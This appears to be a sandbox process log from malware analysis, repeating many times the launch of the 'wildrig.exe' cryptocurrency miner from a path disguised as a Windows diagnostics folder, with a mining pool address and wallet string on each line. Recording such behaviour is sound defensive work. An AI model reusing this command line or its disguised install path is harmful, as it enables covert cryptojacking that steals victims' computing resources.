C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
-
-
